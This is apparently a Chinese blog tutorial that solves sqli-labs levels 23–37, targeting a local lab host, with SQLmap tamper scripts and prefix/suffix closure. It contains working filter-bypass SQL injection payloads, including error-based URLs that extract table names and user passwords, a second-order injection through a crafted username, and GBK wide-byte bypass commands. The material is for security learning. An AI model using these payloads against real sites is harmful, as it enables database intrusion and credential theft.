SQLmap 通关 sqli-labs 系列(四):Tamper 脚本与过滤绕过

摘要: 从 Less-23 起,sqli-labs 开启了过滤模式:注释被删、AND/OR 被吞、空格消失、UNION 被拦、宽字节作祟......这些防护像一层层盔甲。本篇将祭出 SQLmap 的最强武器------Tamper 脚本 ,并结合 --suffix--prefix--union-cols 等高级参数,把这些盔甲一件件砸碎。我们将依次解决注释过滤、二次注入、AND/OR 过滤、空格注释过滤、UNION/SELECT 过滤,以及 GBK 宽字节注入,让 Less-23 到 Less-37 全部沦陷。


一、我们的武器库:Tamper 脚本与手动闭合

Tamper 脚本是 Payload 的变形器,位置在 /usr/share/sqlmap/tamper/。常用脚本:

  • versionedmorekeywords:将关键词变为 /*!keyword*/,绕过简单替换。

  • space2comment:空格→/**/

  • space2hash:空格→%23+换行。

  • charencode:URL 编码所有字符。

  • randomcase:随机大小写。

  • commentbeforekeywords:在关键词中插入注释,如 un/**/ion

  • betweengreatestsymboliclogical:等价替换,减少 AND/OR。

  • unmagicquotes:宽字节绕过 addslashes()

  • base64encode:Base64 编码。

手动闭合参数:

  • --prefix:前面需要闭合的字符串,例如 '')')))

  • --suffix:后面需要处理的内容,例如 AND '1'='1 可以代替注释符。

我们将在实战中组合使用它们。


二、过滤逐一突破

2.1 Less-23:注释符过滤

过滤--# 被替换为空。我们不用注释,用 --suffix 闭合后面引号。

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-23/?id=1" --suffix=" AND '1'='1" --prefix="'" --batch --dbs

解释:最终的 Payload 会变成 id=1' [注入代码] AND '1'='1,后面的单引号完美闭合,无需注释。

2.2 Less-24:二次注入

这是一个存储型二次注入,完全不需要SQLmap。我们这样操作:

浏览器打开 http://192.168.137.1/sqli-labs/Less-24/new_user.php

注册新用户:用户名 admin'# 密码 1

注册完自动登录,进入修改密码页面。

当前密码填 1,新密码填 2,确认密码填 2,提交。

退出,用 admin / 2 登录,登录成功。

2.3 Less-25:OR 和 AND 过滤

orand 被替换为空(忽略大小写)。我们使用 versionedmorekeywordsbetween 组合。

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-25/?id=1" --tamper=versionedmorekeywords,between --batch --current-db
2.4 Less-26:空格与注释封杀

SQLmap测试一直报错,以下是手注步骤:

复制代码
// 获取当前数据库名
http://192.168.137.1/sqli-labs/Less-26/?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
// 获取数据库所有表
http://192.168.137.1/sqli-labs/Less-26/?id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1
// 获取users表所有字段
http://192.168.137.1/sqli-labs/Less-26/?id=1'%26%26(updatexml(1,concat(0x7e,(select(group_concat(column_name))from%60infoorrmation_schema%60.%60columns%60where(table_name='users')anandd(table_schema=database()))),1))%26%26'1'='1
// 获取users表数据
http://192.168.137.1/sqli-labs/Less-26/?id=1'%26%26(updatexml(1,concat(0x7e,substr((select(group_concat(username,0x3a,passwoorrd))from(users)),1,30)),1))%26%26'1'='1
2.5 Less-27:UNION 和 SELECT 过滤
复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-27/?id=1" \
  --tamper=space2randomblank,randomcase \
  --level=3 --risk=3 \
  --batch --dbs

randomcase 打乱大小写,commentbeforekeywordsUNION 中插入注释。

2.6 Less-28 ~ Less-31

这些关卡的过滤与前面类似,可复用上面的 tamper 组合。

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-(28、29、30、31)/?id=1" \
  --tamper=space2randomblank,randomcase \
  --level=3 --risk=3 \
  --batch --dbs
2.7 宽字节注入:Less-32 ~ Less-37

Less-32 使用 GBK,addslashes() 转义单引号。手工用 %df%27。Tamper 脚本 unmagicquotes 自动完成:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-32/?id=1" --tamper=unmagicquotes --batch --dbs

Less-33 到 Less-37 都是宽字节变体(双引号、POST 等),POST 型结合 -r 使用:

复制代码
sqlmap -u "http://192.168.137.1/sqli-labs/Less-33/?id=1" --tamper=unmagicquotes --batch --dbs

sqlmap -u "http://192.168.137.1/sqli-labs/Less-34/" \
  --data="uname=admin&passwd=admin&submit=Submit" \
  -p uname \
  --tamper=unmagicquotes \
  --dbms=mysql \
  --batch --dbs

sqlmap -u "http://192.168.137.1/sqli-labs/Less-35/?id=1" --batch --dbs

sqlmap -u "http://192.168.137.1/sqli-labs/Less-36/?id=1" --tamper=unmagicquotes --batch --dbs

sqlmap -u "http://192.168.137.1/sqli-labs/Less-37/" \
  --data="uname=admin&passwd=admin&submit=Submit" \
  -p uname \
  --tamper=unmagicquotes \
  --dbms=mysql \
  --batch --dbs

三、总结

你已经掌握了使用 Tamper 脚本和手动闭合突破各种输入过滤的方法。记住:

  • 遇到注释过滤 → --suffix 替代。

  • 关键字过滤 → versionedmorekeywords, symboliclogical 等。

  • 空格过滤 → charencode, space2hash, space2comment 等。

  • 宽字节 → unmagicquotes

  • 脚本可以自由组合,用逗号分隔。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

工具是死的,人的思维是活的。Tamper 脚本的每一次变形,都是对安全研究前辈智慧的一次致敬。